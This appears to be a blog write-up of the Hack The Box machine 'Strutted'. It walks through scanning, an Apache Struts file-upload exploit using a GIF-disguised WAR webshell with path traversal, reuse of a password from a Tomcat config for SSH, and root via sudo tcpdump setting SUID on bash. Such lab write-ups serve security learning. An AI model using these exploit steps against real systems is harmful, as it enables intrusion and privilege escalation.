Post

Strutted

This machine is based on Public Exploit !

Strutted
Machine LinkStrutted
Operating SystemLinux
DifficultyMedium
Machine Created byTheCyberGeekΒ & 7u9y

Port Scan Results ‡️

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
└─$ nmap -sC -sV -p- -vv -T4 -oN Nmap_Result.txt 10.10.11.59

Nmap scan report for 10.10.11.59
Host is up, received echo-reply ttl 63 (0.51s latency).
Scanned at 2025-07-09 15:05:24 IST for 2353s
Not shown: 65522 closed tcp ports (reset)
PORT      STATE    SERVICE    REASON         VERSION
22/tcp    open     ssh        syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
|   256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp    open     http       syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-title: Did not follow redirect to http://strutted.htb/
2905/tcp  filtered m3ua       no-response
17760/tcp filtered unknown    no-response
21637/tcp filtered unknown    no-response
22000/tcp filtered snapenetio no-response
23904/tcp filtered unknown    no-response
24679/tcp filtered unknown    no-response
29746/tcp filtered unknown    no-response
34169/tcp filtered unknown    no-response
48645/tcp filtered unknown    no-response
49516/tcp filtered unknown    no-response
60089/tcp filtered unknown    no-response
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web Enumeration ‡️

First I need to set the domain name into the /etc/hosts file as strutted.htb as it get loaded while browsing for port 80.

Let check port 80 and from there lets enumerate further πŸ”»

Port 80 which is an upload image site

Here this image indicates to download the Docker image file for this site that is very much can be helpful because it can tell the source code of this site or any hidden credentials in it.

After Download I get these files πŸ”»

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
└─$ tree     
.
β”œβ”€β”€ context.xml
β”œβ”€β”€ Dockerfile
β”œβ”€β”€ README.md
β”œβ”€β”€ strutted
β”‚Β Β  β”œβ”€β”€ mvnw
β”‚Β Β  β”œβ”€β”€ mvnw.cmd
β”‚Β Β  β”œβ”€β”€ pom.xml
β”‚Β Β  β”œβ”€β”€ src
β”‚Β Β  β”‚Β Β  └── main
β”‚Β Β  β”‚Β Β      β”œβ”€β”€ java
β”‚Β Β  β”‚Β Β      β”‚Β Β  └── org
β”‚Β Β  β”‚Β Β      β”‚Β Β      └── strutted
β”‚Β Β  β”‚Β Β      β”‚Β Β          └── htb
β”‚Β Β  β”‚Β Β      β”‚Β Β              β”œβ”€β”€ AboutAction.java
β”‚Β Β  β”‚Β Β      β”‚Β Β              β”œβ”€β”€ DatabaseUtil.java
β”‚Β Β  β”‚Β Β      β”‚Β Β              β”œβ”€β”€ HowAction.java
β”‚Β Β  β”‚Β Β      β”‚Β Β              β”œβ”€β”€ Upload.java
β”‚Β Β  β”‚Β Β      β”‚Β Β              β”œβ”€β”€ URLMapping.java
β”‚Β Β  β”‚Β Β      β”‚Β Β              └── URLUtil.java
β”‚Β Β  β”‚Β Β      β”œβ”€β”€ resources
β”‚Β Β  β”‚Β Β      β”‚Β Β  └── struts.xml
β”‚Β Β  β”‚Β Β      └── webapp
β”‚Β Β  β”‚Β Β          └── WEB-INF
β”‚Β Β  β”‚Β Β              β”œβ”€β”€ about.jsp
β”‚Β Β  β”‚Β Β              β”œβ”€β”€ error.jsp
β”‚Β Β  β”‚Β Β              β”œβ”€β”€ how.jsp
β”‚Β Β  β”‚Β Β              β”œβ”€β”€ showImage.jsp
β”‚Β Β  β”‚Β Β              β”œβ”€β”€ success.jsp
β”‚Β Β  β”‚Β Β              β”œβ”€β”€ upload.jsp
β”‚Β Β  β”‚Β Β              └── web.xml
β”‚Β Β  └── target
β”‚Β Β      β”œβ”€β”€ classes
β”‚Β Β      β”‚Β Β  β”œβ”€β”€ org
β”‚Β Β      β”‚Β Β  β”‚Β Β  └── strutted
β”‚Β Β      β”‚Β Β  β”‚Β Β      └── htb
β”‚Β Β      β”‚Β Β  β”‚Β Β          β”œβ”€β”€ AboutAction.class
β”‚Β Β      β”‚Β Β  β”‚Β Β          β”œβ”€β”€ DatabaseUtil.class
β”‚Β Β      β”‚Β Β  β”‚Β Β          β”œβ”€β”€ HowAction.class
β”‚Β Β      β”‚Β Β  β”‚Β Β          β”œβ”€β”€ Upload.class
β”‚Β Β      β”‚Β Β  β”‚Β Β          β”œβ”€β”€ URLMapping.class
β”‚Β Β      β”‚Β Β  β”‚Β Β          └── URLUtil.class
β”‚Β Β      β”‚Β Β  └── struts.xml
β”‚Β Β      β”œβ”€β”€ generated-sources
β”‚Β Β      β”‚Β Β  └── annotations
β”‚Β Β      β”œβ”€β”€ maven-archiver
β”‚Β Β      β”‚Β Β  └── pom.properties
β”‚Β Β      β”œβ”€β”€ maven-status
β”‚Β Β      β”‚Β Β  └── maven-compiler-plugin
β”‚Β Β      β”‚Β Β      └── compile
β”‚Β Β      β”‚Β Β          └── default-compile
β”‚Β Β      β”‚Β Β              β”œβ”€β”€ createdFiles.lst
β”‚Β Β      β”‚Β Β              └── inputFiles.lst
β”‚Β Β      β”œβ”€β”€ strutted-1.0.0
β”‚Β Β      β”‚Β Β  β”œβ”€β”€ META-INF
β”‚Β Β      β”‚Β Β  └── WEB-INF
β”‚Β Β      β”‚Β Β      β”œβ”€β”€ about.jsp
β”‚Β Β      β”‚Β Β      β”œβ”€β”€ classes
β”‚Β Β      β”‚Β Β      β”‚Β Β  β”œβ”€β”€ org
β”‚Β Β      β”‚Β Β      β”‚Β Β  β”‚Β Β  └── strutted
β”‚Β Β      β”‚Β Β      β”‚Β Β  β”‚Β Β      └── htb
β”‚Β Β      β”‚Β Β      β”‚Β Β  β”‚Β Β          β”œβ”€β”€ AboutAction.class
β”‚Β Β      β”‚Β Β      β”‚Β Β  β”‚Β Β          β”œβ”€β”€ DatabaseUtil.class
β”‚Β Β      β”‚Β Β      β”‚Β Β  β”‚Β Β          β”œβ”€β”€ HowAction.class
β”‚Β Β      β”‚Β Β      β”‚Β Β  β”‚Β Β          β”œβ”€β”€ Upload.class
β”‚Β Β      β”‚Β Β      β”‚Β Β  β”‚Β Β          β”œβ”€β”€ URLMapping.class
β”‚Β Β      β”‚Β Β      β”‚Β Β  β”‚Β Β          └── URLUtil.class
β”‚Β Β      β”‚Β Β      β”‚Β Β  └── struts.xml
β”‚Β Β      β”‚Β Β      β”œβ”€β”€ error.jsp
β”‚Β Β      β”‚Β Β      β”œβ”€β”€ how.jsp
β”‚Β Β      β”‚Β Β      β”œβ”€β”€ lib
β”‚Β Β      β”‚Β Β      β”‚Β Β  β”œβ”€β”€ commons-fileupload-1.5.jar
β”‚Β Β      β”‚Β Β      β”‚Β Β  β”œβ”€β”€ commons-io-2.13.0.jar
β”‚Β Β      β”‚Β Β      β”‚Β Β  β”œβ”€β”€ commons-lang3-3.13.0.jar
β”‚Β Β      β”‚Β Β      β”‚Β Β  β”œβ”€β”€ commons-text-1.10.0.jar
β”‚Β Β      β”‚Β Β      β”‚Β Β  β”œβ”€β”€ freemarker-2.3.32.jar
β”‚Β Β      β”‚Β Β      β”‚Β Β  β”œβ”€β”€ javassist-3.29.0-GA.jar
β”‚Β Β      β”‚Β Β      β”‚Β Β  β”œβ”€β”€ javax.servlet-api-4.0.1.jar
β”‚Β Β      β”‚Β Β      β”‚Β Β  β”œβ”€β”€ log4j-api-2.20.0.jar
β”‚Β Β      β”‚Β Β      β”‚Β Β  β”œβ”€β”€ ognl-3.3.4.jar
β”‚Β Β      β”‚Β Β      β”‚Β Β  β”œβ”€β”€ sqlite-jdbc-3.47.1.0.jar
β”‚Β Β      β”‚Β Β      β”‚Β Β  └── struts2-core-6.3.0.1.jar
β”‚Β Β      β”‚Β Β      β”œβ”€β”€ success.jsp
β”‚Β Β      β”‚Β Β      β”œβ”€β”€ upload.jsp
β”‚Β Β      β”‚Β Β      └── web.xml
β”‚Β Β      └── strutted-1.0.0.war
└── tomcat-users.xml

31 directories, 56 files

Now lets do some digging into finding out some credentials / versions / upload site functionalities like that from these files.

I got some functionalities from Dockerfile πŸ”½

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
└─$ cat Dockerfile 
FROM --platform=linux/amd64 openjdk:17-jdk-alpine
#FROM openjdk:17-jdk-alpine

RUN apk add --no-cache maven

COPY strutted /tmp/strutted
WORKDIR /tmp/strutted

RUN mvn clean package

FROM tomcat:9.0

RUN rm -rf /usr/local/tomcat/webapps/
RUN mv /usr/local/tomcat/webapps.dist/ /usr/local/tomcat/webapps/
RUN rm -rf /usr/local/tomcat/webapps/ROOT

COPY --from=0 /tmp/strutted/target/strutted-1.0.0.war /usr/local/tomcat/webapps/ROOT.war
COPY ./tomcat-users.xml /usr/local/tomcat/conf/tomcat-users.xml
COPY ./context.xml /usr/local/tomcat/webapps/manager/META-INF/context.xml

EXPOSE 8080

CMD ["catalina.sh", "run"]

Also I got the versions from stratted/pom.xml file πŸ”»

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
β”Œβ”€β”€(kaliπŸ”₯kali)-[~/Downloads/HTB/Strutted]
└─$ cat strutted/pom.xml 
....
...
..
    <properties>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <maven.compiler.source>17</maven.compiler.source>
        <maven.compiler.target>17</maven.compiler.target>
        <struts2.version>6.3.0.1</struts2.version>
        <jetty-plugin.version>9.4.46.v20220331</jetty-plugin.version>
        <maven.javadoc.skip>true</maven.javadoc.skip>
        <jackson.version>2.14.1</jackson.version>
        <jackson-data-bind.version>2.14.1</jackson-data-bind.version>
    </properties>
....
...
..

This signifies that this site is running struts version 6.3.0.1 lets look for similar version exploits ‡️

I got the exploit that CVE-2024-53677 Now lets find out some poc’s exploit s through githubs πŸ”»

I got this exploit ⬇️

CVE-2023-50164-Apache-Struts-RCE

In this exploit I particularly need to change 3 things ⏬

1️⃣ Adjust path depth for the upload path

  • The upload path on the server is:

    1
    
      File/<TimeStamp>/uploads/ROOT/webapps
    
  • To ensure your traversal or path-handling code reaches the correct location, you need to set:

    1
    
      NUMBER_OF_PARENTS_IN_PATH = 5
    
  • This tells your script how many ../ (or parent folders) it needs to navigate when working with the uploaded payload so it lands correctly inside the webapps directory for your WAR file deployment.

2️⃣ Prep your WAR file as a GIF polyglot

  • To bypass file-type filters on the upload functionality, you convert your WAR shell into a GIF polyglot.

  • A polyglot file can satisfy multiple file format signatures, tricking the upload filter to accept your WAR file as a GIF while still executing as a WAR on the server.

  • You do this by prepending the GIF signature GIF89a; to your WAR file content:

    1
    2
    
      war_file_content = open(NAME_OF_WEBSHELL_WAR, "rb").read()
      war_file_content = b"GIF89a;" + war_file_content
    
  • Why it works: The filter sees GIF89a and allows the upload, but the server’s Java engine will still process the underlying WAR structure.

3️⃣ Modify upload headers and file naming

  • To complete the bypass:

    • Change your HTTP upload Content-Type header from:

      1
      
        application/octet-stream
      

      to:

      1
      
        image/gif
      
    • Rename your uploaded file to use a .gif extension to match the declared content type (helps bypass filters relying on extensions).

  • Your upload code will look like:

    1
    
    HTTP_UPLOAD_PARAM_NAME.capitalize(): ("filename.gif", war_file_content, "image/gif")
    
  • This ensures:

    • The upload filter accepts your file thinking it’s a GIF.

    • The server stores it in the correct location.

    • The Java server will later parse and execute the WAR payload inside, granting you shell access.

Now lets run this modified exploit with the upload path πŸ”»

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
└─$ python3 exploit.py --url http://strutted.htb/upload.action
[+] Starting exploitation...
[+] WAR file already exists.
[+] webshell.war uploaded successfully.
[+] Reach the JSP webshell at http://strutted.htb/webshell/webshell.jsp?cmd=<COMMAND>
[+] Attempting a connection with webshell.
[+] Successfully connected to the web shell.
CMD > whoami
tomcat
CMD > id
uid=998(tomcat) gid=998(tomcat) groups=998(tomcat)
CMD > pwd 
/var/lib/tomcat9
CMD > ls -al
total 20
drwxr-xr-x  5 root   root   4096 Jul 10 04:01 .
drwxr-xr-x 41 root   root   4096 Jan 15 14:30 ..
lrwxrwxrwx  1 root   root     12 Jul 20  2022 conf -> /etc/tomcat9
drwxr-xr-x  2 tomcat tomcat 4096 Jan 15 14:30 lib
lrwxrwxrwx  1 root   root     17 Jul 20  2022 logs -> ../../log/tomcat9
drwxr-xr-x  2 root   root   4096 Jul 10 04:01 policy
drwxrwxr-x  4 tomcat tomcat 4096 Jul 10 04:55 webapps
lrwxrwxrwx  1 root   root     19 Jul 20  2022 work -> ../../cache/tomcat9
CMD >

I am inside a webshell lets enumerate for any data/credentials from here πŸ”»

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
CMD > ls conf
Catalina
catalina.properties
context.xml
jaspic-providers.xml
logging.properties
policy.d
server.xml
tomcat-users.xml
web.xml
CMD > 

CMD > cat conf/tomcat-users.xml
....
...
<!--
  <user username="admin" password="<must-be-changed>" roles="manager-gui"/>
  <user username="robot" password="<must-be-changed>" roles="manager-script"/>
  <role rolename="manager-gui"/>
  <role rolename="admin-gui"/>
  <user username="admin" password="**********" roles="manager-gui,admin-gui"/>
--->
.....
...
CMD > 

I got a password Lets see on which users I can used it on πŸ”»

File /etc/passwd tells about the users present in the system

Lets try ssh on user james with the found password πŸ”»

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
└─$ ssh james@strutted.htb                                           
The authenticity of host 'strutted.htb (10.10.11.59)' cant be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:69: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'strutted.htb' (ED25519) to the list of known hosts.
james@strutted.htbs password: 
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-130-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Thu Jul 10 04:59:59 AM UTC 2025

  System load:           0.0
  Usage of /:            69.5% of 5.81GB
  Memory usage:          9%
  Swap usage:            0%
  Processes:             214
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.59
  IPv6 address for eth0: dead:beef::250:56ff:fe94:945d

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

5 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Jan 21 13:46:18 2025 from 10.10.14.64
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

james@strutted:~$ sudo -l
Matching Defaults entries for james on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User james may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/sbin/tcpdump
james@strutted:~$

Lets elevate the privileges with exploiting tcpdump tool for this I will be using gtfobin to exploit this πŸ”»

GTFOBIN exploit code for tcpdump tool for sudo allowed user

I have just changed 1 thing that I have changed the bash permissions to give it as SUID permissions like this πŸ”½

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
james@strutted:~$ COMMAND='chmod u+s /bin/bash'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Maximum file limit reached: 1
1 packet captured
4 packets received by filter
0 packets dropped by kernel
james@strutted:~$ ls -al /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14  2024 /bin/bash
james@strutted:~$ bash -p
bash-5.1# whoami
root
bash-5.1# id
uid=1000(james) gid=1000(james) euid=0(root) groups=1000(james),27(sudo)
bash-5.1# cd /root
bash-5.1# ls -al
total 32
drwx------  5 root root 4096 Jul 10 04:05 .
drwxr-xr-x 18 root root 4096 Jan 15 14:30 ..
lrwxrwxrwx  1 root root    9 Apr 27  2023 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Oct 15  2021 .bashrc
drwx------  2 root root 4096 Jan 16 10:55 .cache
drwxr-xr-x  3 root root 4096 Jan 16 10:55 .local
-rw-r--r--  1 root root  161 Jul  9  2019 .profile
-rw-r-----  1 root root   33 Jul 10 04:05 root.txt
drwx------  2 root root 4096 Jan 15 14:30 .ssh
bash-5.1# cat root.txt
42691514885782f9b6e66c26fadd6503
bash-5.1# 

I am root user now !!

If you have any questions or suggestions, please leave a comment below. Thank You !

This post is licensed under CC BY 4.0 by the author.